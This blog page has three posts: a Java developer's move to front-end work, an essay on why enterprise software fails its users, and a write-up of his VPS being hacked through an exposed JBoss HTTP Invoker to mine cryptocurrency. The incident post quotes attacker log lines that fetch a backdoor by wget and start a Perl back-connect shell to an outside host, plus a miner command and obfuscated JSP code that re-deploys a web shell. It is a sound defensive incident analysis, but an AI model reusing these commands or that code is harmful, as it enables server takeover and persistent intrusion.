I’m going on an adventure

Me, going on an adventure

Me, going on an adventure

I’ve been developing mostly back-end code for most of my career (Java essentially), I dealt with Java the language, the JVM, Eclipse, Java Enterprise, Databases (Oracle, MySQL, SQL Server), XML, XML Schema, etc… and I did some front-end hacking while developing some of the widgets of the XEO Framework.

I decided that I needed to do something different. I’ve always been fascinated with the front-end world (not necessarily thinking I should have done that all along, I very much like to do back-end code). I’d been reading on all the changes happening in front-end land, such as the MV* frameworks like Angular and Ember, the “recent” appearing of React (and React Native), all the fuss about node.js (io.js), all the tools like bower, gulp, grunt, bootstrap, responsive, rendering performance… a whole new world.

I’ve been fortunate enough to find a new challenge on Memeoirs where I’ve been given the task of managing front-end tasks (including our Ember.JS + EmberCLI application).

What I can say is that it’s been a very humbling experience: In a Java environment I know my way around everything, I know where to search, I’m very productive with Java. On the other hand, working mostly on Javascript for the better part of my day (and using tools like the ember-cli, or having to create my own build process using Broccoli for instance) reminds me that I’m in an incredibly huge field where there is so much stuff that you can do and learn. I’ll still have to learn CSS properly (I hope), responsive design, mockups, even my own text editor changed!

I expect an incredible amount of new things to learn, a lot of walls to bang my head against, but I think It’ll do me very good to have stepped out of my comfort zone and try new things. I believe this knowledge will be very helpful on my future (whatever that may be, because as Steve Jobs said, you can’t connect the dots while looking forward).

Happy coding!

If enterprise applications were made as hobby projects

Hi everyone, really long time no see…. sorry about that.

I saw a post the other day about why enterprise software sucks and god knows I agree with it, most enterprise software sucks for the reasons Jarkko outlines, but one thing that came to my mind was that in the end… the developers don’t relate to the problem at all. (Among other things of course).

See, why do we get so many open source projects like mvc frameworks, libraries, functional languages, web servers, css frameworks? Each one claiming that it’s really a change in the way you code something and that you can do better and faster. (I’m not saying they’re not, that’s not the point, just that there are lots of them, which is very cool)

You don’t see the same amount of open source projects to help mechanical engineers or gardeners, why? Well, because we’re not mechanical engineers nor gardeners, plain simple. We’re software developers and the pains we understand the most are our own. That’s why we spend our free time creating these frameworks and libraries, each one with a more convenient API, better performance and easier to use (and hopefully better documentation) to solve our own problems and sometimes you solve the problems of other people as well, hence the open-source projects. And the community is very vibrant, almost every day on Hacker News I see some new project being announced (especially in Javascript, it seems Jeff Atwood was right after all – any application that can be written in JavaScript, will eventually be written in JavaScript)

If you create a home made application to manage your expenses, you do it so that it’s easy to use and quick! (you don’t want to waste an entire afternoon just to add a few expenses, right?). You give it a lot of thought on how to improve your life (be it a small gain or a bigger one) because you know what pains you and you know how to solve that problem. It may not be the most usable application for everyone but it is to you, and you are your client.

In an enterprise context, you have no fraking clue of the problems people face, because (obviously) you’re not them. A more realistic scenario is the project manager talks to someone who pays for the product and explains to the manager what the application needs to do… and we implement it, without the least amount of knowledge of how the application should really be and how the users will use them, worse than that, we don’t know how they would like to use it.

The problem is, you can’t expect non-technical people to know what their needs are. Well, let me explain better… these people know what their problem is, and they know that they want to solve it, the problem is the HOW part. And I believe it’s our responsibility to find out what they need in order to solve their problem.

The whole agile movement, with its short iterations, scrum meetings and scrum masters, stakeholders, etc… allows you to see there’s a problem earlier and fix it with less cost, but you don’t solve anything if you’re talking to wrong stakeholder.

That’s why, I believe, we need need developers to get out and see HOW people work, what their pain is, and then create something like it was your own hobby project where you do things  to make your like easier, that’s what these people want as well, an application that helps them during their day job, not something to curse about. We need to sit by people’s side and learn how they perform their job, so that we can come up with good solutions!

I know that are a lot for issues with this approach, beginning with the fact that it goes against established procedures and although most of my experience is creating developers tools, I’ve been doing some side-projects that require just that, to know someone’s problem and help them solve it with a web application and it’s really been a fun ride. I must say that rapid prototyping really really helps out, because as soon as people start seeing things, they find out what they don’t want really quick and also being able to spend some time with them and understanding their issues is also really helpful, because you can see what they need (even when sometimes they don’t realize it themselves).

Any thoughts? Share them in the comments

Happy coding!


Kids, this is story of How I Met… my VPS hacked.

Hi everyone,

Just recently I published my technical goals for 2014  and one of them was to learn more about security. Well it couldn’t have been more appropriate, my Virtual Private Server (VPS) just got hacked, for the second time (I use the VPS to host a Java web application). The first time, I basically rebuilt my server and hardened security as much as I could, but it didn’t work (more on what I did later). I’m not really a system administrator nor do I have much experience on the matter so I guess I must learn my lessons either studying or by being stung.

What happened

My VPS was being used to mine bitcoins, I believe. If you never heard of bitcoins, check Wikipedia

How did I found out something was wrong?

My VPS is configured to send me an email alert when CPU usage is above 90% for more than 2 (two) hours, which was what happened. I received an email by 20.30 last night (Jan, 17 – 2014)

I logged in my VPS and used the top command to find that a single process was using all CPU, this was the culprit:

14915 ?        Ssl  710:07 ./logrotate -o stratum+tcp://bat.minersbest.com:10470 -u apapun.seattle -p x –threads=4 –background

Never heard of something like that, but with a bit of googling I traced it to bitcoin mining.

As I said at the beginning this was the second time my server got hacked (using the same method I believe ), so this time I really had to figure what went wrong as I wasn’t going to do everything from scratch again!

The first time my server was hacked I rebuilt it from scratch with the following steps to increase security:

  • Install a newer CentOS version
  • Update all packages
  • Disable root login via SSH
  • Disable password login via SSH (only private keys)
  • Setup firewall to block all traffic except port 80 (HTTP), 443 (HTTPS) and 22 (SSH)
  • Install Fail2Ban
  • Change the user and root password to even more secure passwords (more than 15 chars each)

I thought I had it covered…

I tried checking the SSH log at /var/log/secure and found that lots of attempts were made to login with different users (with common names like admin, oracle, weblogic, postgres, etc…) but none seemed to have succeeded as I had setup only private key login.

Could it be that someone found a vulnerability in my web application? Oh boy…
I have a setup where Jboss hosts the web application and Apache proxies and handles the SSL stuff.

Checking Apache Logs

I went on and checked the Apache access logs (in /var/log/httpd/access_log) around the time the CPU first went off and found something interesting – – [17/Jan/2014:18:15:26 +0000] “GET /a/pwn.jsp?cmd=cat%20/proc/cpuinfo HTTP/1.1″ 200 540 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36″

A GET request to /a/pwn.jsp with a parameter cat /proc/cpuinfo… like this JSP was some kind of a web shell.. and it got a 200 OK response? No way…
Back to the browser to check and surely enough, the server responded with an empty page…  Next check… I try /a/pwn.jsp?cmd=ls and ouch… the directory listed

Ok, so let’s check the full log using the following command (trimmed for readability)

cat /var/log/httpd/acess_log | grep ‘pwn.jsp’

[17/Jan/2014:18:15:26 +0000] “GET /a/pwn.jsp?cmd=cat%20/proc/cpuinfo
[17/Jan/2014:18:15:36 +0000] “GET /a/pwn.jsp?cmd=ps%20x
[17/Jan/2014:18:15:41 +0000] “GET /a/pwn.jsp?cmd=ls%20-al
[17/Jan/2014:18:15:52 +0000] “GET /a/pwn.jsp?cmd=wget%20pdd-nos.info/.tmp/back.conn.txt%20-O%20bd
[17/Jan/2014:18:16:05 +0000] “GET /a/pwn.jsp?cmd=perl%20bd%20pdd-nos.info%2011457
[17/Jan/2014:18:17:44 +0000] “GET /a/pwn.jsp?cmd=ps%20x
[17/Jan/2014:18:18:23 +0000] “GET /a/pwn.jsp?cmd=ps%20x
[17/Jan/2014:18:27:57 +0000] “GET /a/pwn.jsp?cmd=ps%20x

With a little cleaning and url decode, you get the following list of commands:

  1. cat /proc/cpuinfo
  2. ps x
  3. ls -al
  4. wget pdd-nos.info/.tmp/back.conn.txt -O bd
  5. perl bd pdd-nos.info 11457
  6. ps x
  7. kill 14873
  8. ps x
  9. ps x

Interesting to see is that the web shell appears to be just a means to and end, because the wget used in step 4) downloaded something that was used in step 5) by the perl interpreter, I checked the pdd-nos.info link and found what appears to be a some kind of a backdoor shell and I assume this was what was used to launch the bitcoin mining process.


Breach detected

Ok, so I have a problem, a big one. And I need to do two things:

  • Eliminate the threat so that my VPS is once again my VPS :)
  • Find out how they installed a web shell

I started by searching how someone installed a web shell in my Jboss instance. With a bit of googling I found the following resources (the “pwn.jsp” filename was a really big help there)

Which in turn led me to find an existing vulnerability regarding JBoss’s HTTP Invoker was probably used, that basically means an attacker could trigger a remote code execution. Not nice!

With additional search I found an exploit ready to be used. A PHP script that downloads a .war application which contains the web shell and uses the known vulnerability in the HTTP invoker to deploy the .war.

But wait a minute, where was that logrotate process that was consuming my CPU (cleverly named so that I wouldn’t notice)? If there’s a process then there’s an executable somewhere. I found it right inside my /JBOSS_HOME/bin folder along with a file named jboss4.txt (also named so that I wouldn’t found him suspicious) whose content was

print “Executed”;
system(“nohup ./logrotate -o stratum+tcp://bat.minersbest.com:10470 -u apapun.seattle -p x –threads=4 &> logrotate.log”);

Now, the issue is… was there something else that could have been changed so that even if I restarted JBoss it would allow the attacker to execute the same attack again? Hunt time!

Indeed I found that in /JBOSS_HOME/server/INSTANCE/server/deploy/management was a little folder called “lMvcdFxMFrvdib.war” (I kid you not) and inside the folder a file named “ZqxQljMExRpriU.jsp” (again I kid you not).. the content of the JSP was

<%@page import=”java.io.*,
String PJdpj = “”;
String pIGx = “”;
String RSVw = System.getProperty(“jboss.server.home.dir”);
if (request.getParameter(“pUBYyDsT”) != null){
try {
PJdpj = request.getParameter(“pUBYyDsT”);
pIGx = request.getParameter(“oAEICWIo”);
byte[] rFPE = new BASE64Decoder().decodeBuffer(PJdpj);
String MfNJU = RSVw + “/deploy/” + pIGx + “.war”;
FileOutputStream twkH = new FileOutputStream(MfNJU);
catch(Exception e) {}
else {
String VBpM = request.getParameter(“oAEICWIo”);
String dhkDS = RSVw + “/deploy/” + VBpM + “.war”;
new File(dhkDS).delete();
catch(Exception e) {}

Although the variable names are obfuscated you can tell that it receives some content encoded as Base64 and then writes that content to a .war file inside JBoss’s deploy directory. Clever trick… if I was to remove the attacker’s original war (the one with pwn.jsp) and restart Jboss, this .war file would also be deployed and provide a clear path of attack again!

Securing JBoss

So I had to secure the HTTP Invoker and that was the problem. I had the HTTPInvoker and WebConsole deployed and accessible to anyone (big, big mistake), since I don’t need them, I simply removed them, simple enough. Next, to delete the files!

Eliminate the threat

I had to delete the files in JBOSS_HOME/bin which where used to create shell and mine the bitcoins, I had to delete the pwn.jsp that was installed in my JBoss instance and had to delete the war with the crazy name to stop an attacker from deploying another war without my knowledge.


The conclusion is that you can never be to careful with security. Anyone from around the world can try to frak you and you must be very careful. I overlooked the deployment of the web console and HTTP Invoker and I paid for that. Things could have been worse If the attacker found a way to upgrade the privileges of the user running jboss (it’s a sudoer, but the password is really hard) he could have done a lot more damage. I hope I’ve removed the threat but I can’t be 100% sure, so I’ll have to  keep monitoring, but I’ve learned my lesson.

I found a detailed guide explaining the exploit and how it works, in case you want additional information.

Happy coding and be safe!

Additional resources